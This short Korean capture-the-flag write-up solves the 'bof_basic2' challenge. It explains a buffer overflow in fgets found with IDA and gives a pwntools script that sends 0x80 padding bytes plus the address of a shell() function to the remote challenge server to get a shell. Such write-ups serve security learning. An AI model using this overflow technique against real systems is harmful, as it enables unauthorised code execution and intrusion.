문제 분석
IDA로 분석해 보면, fgets 함수에서 bof가 발생하는 것을 알 수 있다.
또한 shell을 실행시켜주는 함수가 따로 존재한다.
문제 풀이
fgets함수에서 bof를 발생시켜 v5함수의 주소를 shell() 함수의 주소로 바꿔주면 된다.
s는 ebp-0x8C에 위치하고 v5는 ebp-0xC에 위치하므로 0x80만큼의 dummy를 넣어주고 shell() 함수의 주소를 넣어주면 된다.
from pwn import *
e = ELF('./bof_basic2')
p = remote('ctf.j0n9hyun.xyz', 3001)
shell = e.symbols['shell']
payload = ''
payload += 'A'*0x80
payload += p32(shell)
p.send(payload)
p.interactive()